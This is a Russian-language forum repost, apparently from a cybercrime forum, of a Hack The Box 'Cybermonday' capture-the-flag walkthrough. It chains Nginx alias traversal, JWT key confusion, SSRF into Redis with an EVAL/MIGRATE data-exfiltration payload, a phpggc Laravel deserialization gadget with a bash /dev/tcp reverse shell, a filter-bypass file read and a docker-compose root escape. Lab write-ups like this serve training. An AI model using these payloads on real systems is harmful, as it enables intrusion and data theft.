• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем путаницу ключей JWT

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как злоумышленник может использовать неверную настройку JSON Web Tokens при атаке на веб‑сервер. Также проэксплуатируем обход каталога в Nginx, получим доступ к Redis благодаря SSRF и поупражняемся в атаках, связанных с Docker.
Всё это — в рамках захвата тренировочной машины Cybermonday с площадки Hack The Box. Уровень ее — сложный.

Разведка​

Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:


10.10.11.228 cybermonday.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Nmap нашел всего два открытых порта: 22 — служба OpenSSH 8.4p1 и 80 — веб‑сервер Nginx 1.25.1.

Открываем сайт и пытаемся определить, какие используются технологии.

Для просмотра ссылки Войди или Зарегистрируйся
На сайте есть возможность регистрации и авторизации — сразу же зарегистрируемся. Это откроет нам доступ к новым функциям и расширит область тестирования.

Главная страница авторизованного пользователя
Главная страница авторизованного пользователя

На сайте ничего интересного найти не удалось, поэтому нужно провести сканирование в поисках скрытых возможностей и ресурсов.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -k — игнорировать ошибки SSL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем все параметры и запускаем сканирование:

feroxbuster -k -u [URL]http://cybermonday.htb/[/URL] -t 16 -d 1 -w files_interesting.txt
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster

Нам доступно несколько интересных файлов. Увы, robots.txt оказался пустым, однако из .htaccess узнаём настройки доступа.

curl Для просмотра ссылки Войди или Зарегистрируйся
Содержимое файла .htaccess
Содержимое файла .htaccess

Точка входа​

При тестировании формы авторизации я обнаружил, что если попытаться зарегистрировать второго пользователя на тот же почтовый ящик, то появится страница с ошибкой. Из нее мы выяснили, что сайт сделан на фреймворке Laravel.

Ошибка регистрации пользователя
Ошибка регистрации пользователя

Также здесь из‑за неправильной настройки Nginx возможна уязвимость типа Nginx Alias Traversal. Подробно я ее разбирал в Для просмотра ссылки Войди или Зарегистрируйся. Попробуем подобрать имя файла, используя обход каталога /assets../.

feroxbuster -k -u [URL]http://cybermonday.htb/assets../[/URL] -t 8 -d 1 -w files_interesting.txt
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster

Находим много интересного, к примеру файл .env, содержащий настройки служб.

Содержимое файла .env
Содержимое файла .env

Также доступен каталог .git, что дает нам возможность получить исходные коды сайта с помощью git-dumper.

Код:
mkdir git
git-dumper http://cybermonday.htb/assets../.git ./git

Работать с git-репозиторием можно через VS Code.

История коммитов
История коммитов

Просматривая файлы сайта, узнаём о наличии роли isAdmin (строка 41).

Содержимое файла User.php
Содержимое файла User.php

При этом в файле ProfileController.php при обновлении свойств профиля пользователя нет никакой проверки отправляемых параметров (строки 19–33).

Содержимое файла ProfileController.php
Содержимое файла ProfileController.php

Заходим на страницу обновления пользовательских настроек профиля, отправляем данные и перехватываем с помощью Burp Intercept. Добавляем параметр isAdmin=true и отправляем запрос дальше на сервер.

Перехваченный запрос
Перехваченный запрос
Ответ сервера
Ответ сервера
Но получаем ошибку, из которой узнаём, что значение true не является типом int. Не беда: повторим отправку, но теперь с параметром isAdmin=1.

Перехваченный запрос
Перехваченный запрос
Ответ сервера
Ответ сервера
В меню сайта появилась новая страница Dashboard, а значит, у нас получилось поменять роль пользователя. Перейдем на новую страницу.

Страница Dashboard
Страница Dashboard
На дашборде видим новую навигационную панель с пунктом Changelog. То есть мы можем получить историю изменений версий продукта. Там часто встречается важная информация. На этот раз находим ссылку на бета‑версию сервиса под названием Webhook.

Страница Changelog
Страница Changelog

Точка опоры​

Добавляем найденный домен в файл /etc/hosts и выполняем запрос.

Код:
10.10.11.228 cybermonday.htb webhooks-api-beta.cybermonday.htb
curl http://webhooks-api-beta.cybermonday.htb | jq
Ответ сервера
Ответ сервера

В ответе получаем несколько конечных точек API, а также методы запросов и необходимые параметры. Первым делом зарегистрируем пользователя и авторизуемся.

Регистрация в сервисе
Регистрация в сервисе
Авторизация в сервисе
Авторизация в сервисе

В ответ получаем токен, который необходимо передавать в HTTP-заголовке x-access-token.

Просмотр веб-хуков
Просмотр веб‑хуков

Я посмотрел другие API, и меня заинтересовало действие sendRequests, где передаются URL-адрес и метод. Это потенциальный путь к SSRF. Определить такое действие можно при создании веб‑хука, но создать его мы не можем, так как пользователь непривилегированный. Давай подробнее посмотрим на JWT.

Справка: JSON Web Token (JWT)​

JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, при этом нагрузка может быть любой, это именно те критически важные данные, которые передаются приложению. Заголовок содержит определенные поля:
  • alg — алгоритм, используемый для подписи/шифрования. Это обязательный ключ;
  • typ — тип токена. Это поле должно иметь значение JWT.
Третий элемент вычисляется на основании первых и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм Base64-URL, после чего добавляется подпись и все три элемента разделяются точками.
Разобрать JWT можно с помощью расширения Для просмотра ссылки Войди или Зарегистрируйся.
Декодированный заголовок
Декодированный заголовок

В поле данных видим параметр role, отвечающий за привилегии. Также я обратил внимание на использование асимметричного алгоритма шифрования RS256. Еще иногда серверы предоставляют свои открытые ключи как объекты JSON Web Key через стандартные URI /jwks.json или /.well-known/jwks.json. Проверим, нет ли их на сервере.

Открытые JWK-ключи сервера
Открытые JWK-ключи сервера
Так мы получаем сценарий, когда задан статический ключ.


Атака путаницы ключей​

Предполагается, что будут обрабатываться исключительно токены, подписанные с использованием асимметричного алгоритма RS256. Но если обмен токенами реализован неверно, то сервер, получив токен, подписанный при помощи симметричного алгоритма HS256, будет рассматривать открытый ключ как секрет HMAC. Таким образом атакующий может подписать токен, используя HS256 и открытый ключ, а сервер будет использовать тот же открытый ключ для проверки подписи! Этот метод называется «атака путаницы ключей».

Если у тебя установлен Burp с расширением JWT Editor, выполнить эту атаку будет просто. Первым делом копируем ключ из jwks.json, в меню Burp переходим к JWT Editor и выбираем опцию New RSA Key. В открывшееся окошко и вставляем скопированный ключ.

Расширение JWT Editor
Расширение JWT Editor
Затем переключаем формат ключа на PEM и задаем его идентификатор, после чего сохраняем преобразованный ключ. В таблице кешированных ключей увидим только что созданный.

Преобразование ключа
Преобразование ключа
Расширение JWT Editor
Расширение JWT Editor
Теперь возвращаемся к вкладке Burp Repeater и переходим в режим просмотра JSON Web Token. В заголовке JWT меняем алгоритм на HS256, а в поле данных ставим роль admin. После внесения изменений переходим к пункту меню Attack → HMAC Key Confusion и в появившемся окошке выбираем созданный ранее ключ.

Burp Repeater — режим JSON Web Token
Burp Repeater — режим JSON Web Token
После подтверждения ключа получаем новый JWT.

Burp Repeater — режим JSON Web Token
Burp Repeater — режим JSON Web Token
Переходим обратно в режим просмотра Raw и отправляем запрос с новым JWT.

Ответ сервера
Ответ сервера
Статус ответа — success, а значит, атака проведена успешно. Теперь у нас есть высокие привилегии на сайте.


SSRF​

Так как привилегии повышены, создадим новый веб‑хук.

Код:
{
    "name":"ralf_test",
    "description":"test",
    "action":"sendRequest"
}

Создание веб-хука
Создание веб‑хука
Теперь запустим локальный веб‑сервер:

python3 -m http.server 80
И обратимся к созданному хуку, чтобы получить запрос на наш сервер. В параметрах нужно передать адрес и метод для выполнения запроса.

Код:
{
    "url":"http://10.10.16.25/test_webhook",
    "method":"GET"
}
Запрос к веб-хуку
Запрос к веб‑хуку
Логи веб-сервера
Логи веб‑сервера
Необходимо узнать, задан ли список разрешенных методов. Для этого вместо веб‑сервера запускаем листенер netcat и указываем случайный метод.

Запрос к веб-хуку
Запрос к веб‑хуку
Логи листенера
Логи листенера
В файле .env мы нашли параметры для Redis, поэтому попробуем обратиться к СУБД и выполнить запрос к своему тестовому листенеру. Для этого используем команду REPLICAOF.

Код:
{
    "url":"http://redis:6379",
    "method":"REPLICAOF 10.10.16.25 6379\r\n\r\n"
}
Логи листенера
Логи листенера
Запрос приходит, а значит, мы можем попробовать поработать с базой данных на сервере.

Redis​

Теперь давай эксфильтруем все содержимое базы, для чего сначала установим и запустим на своем хосте redis-server.

Код:
sudo apt isntall redis-server
redis-server --loglevel verbose --protected-mode no
Теперь отправляем запрос для переноса каждого ключа с исходного экземпляра на наш.

{
    "url":"http://redis:6379",
    "method":"EVAL 'for key,val in pairs(redis.call("KEYS","*")) do redis.pcall("MIGRATE","10.10.16.69","6379",val,0,1000) end' 0\r\n\r\n"
}

Подключаемся к своему серверу и просматриваем данные.

Код:
redis-cli
keys *
Ключи Redis
Ключи Redis
База хранит сессии Laravel. Просматривая значения по ключам, получаем сериализованные данные сессий.

Данные Redis
Данные Redis
Внимание привлекает параметр token, используемый на странице авторизации.

Исходный код страницы login
Исходный код страницы login

Этот параметр и поможет определить нашу сессию. Снова авторизуемся на сайте, получим ключи с сервера и найдем сессию с нашим токеном.

Значение сессии
Значение сессии

Laravel RCE​

Так как Laravel передает данные сессии в сериализованном формате, контролируя эти данные, мы можем записать такой гаджет, который при десериализации выполнит вредоносный код. Чтобы получить возможность перезаписи данных сессий, мы можем настроить репликацию данных СУБД с нашего сервера на удаленный.

Код:
{
    "url":"http://redis:6379",
    "method":"REPLICAOF 10.10.16.69 6379\r\n\r\n"
}

После выполнения запроса к серверу проверим настройки репликации на локальном хосте.

info replication
Настройки репликации данных Redis
Настройки репликации данных Redis
Находим в параметрах удаленный сервер, но это еще не всё. Теперь на удаленном сервере разрешим перезапись данных.

Код:
{
    "url":"http://redis:6379/",
    "method":"CONFIG SET replica-read-only no\r\n\r\n"
}

Когда СУБД настроена, можно перейти к формированию нагрузки. В случае с Java и .NET обычно используют десериализатор ysoserial, аналогичный есть и Для просмотра ссылки Войди или Зарегистрируйся. Сериализовать будем самый простой реверс‑шелл.

phpggc -f -a Laravel/RCE16 system 'bash -c "bash -i >& /dev/tcp/10.10.16.69/4321 0>&1 2<&1"'
Создание нагрузки
Создание нагрузки

Теперь запускаем листенер (pwncat-cs -lp 4321) и перезаписываем данные в Redis:

set 'laravel_session:aySh4jUKXBxA6PxcD5gmlH2zqL4Q7iCAlKTxuUAm' 'a:2........i:7;}'
После обновления страницы на сайте моментально получаем удаленную сессию в терминале pwncat-cs.

Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Теперь нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

В выводе из интересного — только информация об интерфейсах.

Информация об интерфейсах
Информация об интерфейсах
Так как мы работаем в Kubernetes, просканируем сеть на наличие живых хостов.

nmap -sn 172.18.0.0/24
Результат сканирования сети
Результат сканирования сети
По именам хостов понятно, где какие службы работают. Чтобы получить доступ к этим хостам, нужно построить туннель. Для этого будем использовать инструмент Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 5432 (параметр -p).

./chisel.bin server -p 5432 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks.

./ch client 10.10.16.69:5432 R:socks
В логах сервера должны увидеть сообщение о создании сессии.

Для просмотра ссылки Войди или Зарегистрируйся
На хосте 172.18.0.2 развернут Docker Registry. Давай определим, на каких портах. Для работы через туннель будем использовать proxychains, для чего в файл конфигураций /etc/proxychains.conf добавим запись socks5 127.0.0.1 1080. Когда все готово, сканируем типичные для службы порты:

proxychains -q nmap -p5000-5002 -Pn 172.18.0.2
Результат сканирования портов
Результат сканирования портов
Теперь используем Для просмотра ссылки Войди или Зарегистрируйся, чтобы получить список репозиториев.

proxychains -q python3 DockerGraber.py --list Для просмотра ссылки Войди или Зарегистрируйся
Образы Docker Registry
Образы Docker Registry
А теперь сдампим все содержимое cybermonday_api.

proxychains -q python3 DockerGraber.py --dump_all Для просмотра ссылки Войди или Зарегистрируйся
Дамп всех данных репозитория
Дамп всех данных репозитория

Файлов очень много, и их анализ займет много времени, поэтому сначала проверим содержимое базы данных.

Код:
proxychains -q mysql -h 172.18.0.7 -u root -proot
show databases;

Существующие базы данных
Существующие базы данных
Из всех баз представляют интерес cybermonday и webhooks_api. В каждой из баз находим таблицы с данными пользователей и получаем все данные.

Код:
use cybermonday;
show tables;
select * from users;

Данные из базы cybermonday
Данные из базы cybermonday

Код:
use webhooks_api;
show tables;
select * from users;
select * from webhooks;

Данные из базы webhooks_api
Данные из базы webhooks_api
Хеши Bcrypt нам ничего не дали, а что могут дать веб‑хуки, тоже пока неясно. Теперь вернемся к скачанным из Docker Registry архивам. В одном из них находим исходные коды сервиса.

Содержимое архива
Содержимое архива

Arbitrary File Read​

В исходном коде веб‑приложения находим секретный ключ API, а среди конечных точек API есть обработчик /webhooks/:uuid/logs, отсутствующий в полученном ранее описании.

Содержимое файла Api.php
Содержимое файла Api.php
Содержимое файла Router.php
Содержимое файла Router.php

Функции, которые обрабатывают запросы к API /webhooks/:uuid/logs, находятся в файле LogsController.php. У этого API есть две возможности: вывод списка и чтение (строки 50 и 56).

Содержимое файла LogsController.php
Содержимое файла LogsController.php

Функция чтения интереснее, так как позволяет получить содержимое файла из файловой системы. Чтобы мы не читали какие попало файлы, к переменной log_name применяются фильтры. Один из них не разрешает последовательность ../ (строки 59–62), используемую для обхода каталога, а второй удаляет все пробелы (строки 64–69).

Такую фильтрацию легко обойти последовательностью . ./, которая при удалении пробела превращается в ../. Однако нам нужно, чтобы существовал веб‑хук с таким именем. Это легко организовать, так как у нас есть доступ к базе данных. Меняем имя хука, а затем пытаемся получить содержимое файла /etc/passwd (не забываем использовать в запросе найденный api-key).

update webhooks set name='../../../../../' where uuid='fda96d32-e8c8-4301-8fb3-c821a316cf77';
Изменение имени хука
Изменение имени хука
Код:
{
    "action":"read",
    "log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./etc/passwd"
}
Получение файла /etc/passwd
Получение файла /etc/passwd
Теперь читаем файл /proc/self/environ, содержащий переменные окружения процесса.

Код:
{
    "action":"read",
    "log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./proc/self/environ"
}
Получение файла /proc/self/environ
Получение файла /proc/self/environ

Получаем новый пароль, который необходимо сразу проверить на всех доступных сервисах. С ним мы авторизуемся по SSH и получаем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Так как разведку на хосте мы уже проводили, остается проверить не так много техник для повышения привилегий. Одна из них связана с запуском привилегированных команд через sudo.

Настройки sudoers
Настройки sudoers

Мы можем запустить скрипт /opt/secure_compose.py от имени пользователя root и передать ему любой YAML-файл. Взглянем на содержимое скрипта. Сначала в функции main проверяется, существует ли переданный файл. Затем выполняется его загрузка и десериализация (строки 44–53). Следом — проверка существования блока services и его передача в функцию check_no_privileged (строки 55–63). После этого для каждого блока в функциях check_whitelist, check_read_only и check_no_symlinks проверяется блок volumes (строки 65–73).

Исходный код secure_compose.py
Исходный код secure_compose.py

Если все проверки пройдены, то для этой конфигурации запускается контейнер Docker (строки 101–110). Названия функций проверки говорят сами за себя.

Для просмотра ссылки Войди или Зарегистрируйся
Исходный код secure_compose.py
Исходный код secure_compose.py

Нам нужно передать скрипту такую конфигурацию, которая позволит повысить привилегии на хосте, но при этом пройдет все проверки. Сразу обратим внимание на то, что нет фильтра для capabilities, а значит, передав параметр cap_add=ALL, мы активируем все привилегии, что почти эквивалентно privileged=True. Также мы можем подключить к контейнеру корневой раздел основной файловой системы, для этого используем настройку безопасности apparmor=unconfined и указываем устройство /dev/sda1.

Осталось только получить доступ из самого контейнера, но и эта проблема легко решается. В качестве параметра command передадим реверс‑шелл, который даст нам сессию при запуске контейнера.
В итоге собираем следующий YAML-файл, запускаем листенер (pwncat-cs -lp 4321) и выполняем скрипт.
Код:
version: '3'

services:
 api:
   image: cybermonday_api
   command: bash -c "bash -i >/dev/tcp/10.10.16.11/4321 0>&1 2<&1"
   cap_add:
     - ALL
   devices:
     - /dev/sda1:/dev/sda1
   security_opt:
     - "apparmor=unconfined"
sudo /opt/secure_compose.py /dev/shm/ralf.yml
Запуск контейнера
Запуск контейнера
Сессия root в контейнере
Сессия root в контейнере
Получаем сессию root в контейнере. Монтируем раздел /dev/sda1 и проверяем имя хоста.

Код:
mount /dev/sda1 /mnt/
cat /mnt/etc/hostname
Проверка примонтированных файлов
Проверка примонтированных файлов
Все получилось так, как я и задумывал. Переходим в домашний каталог рута и забираем последний флаг.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу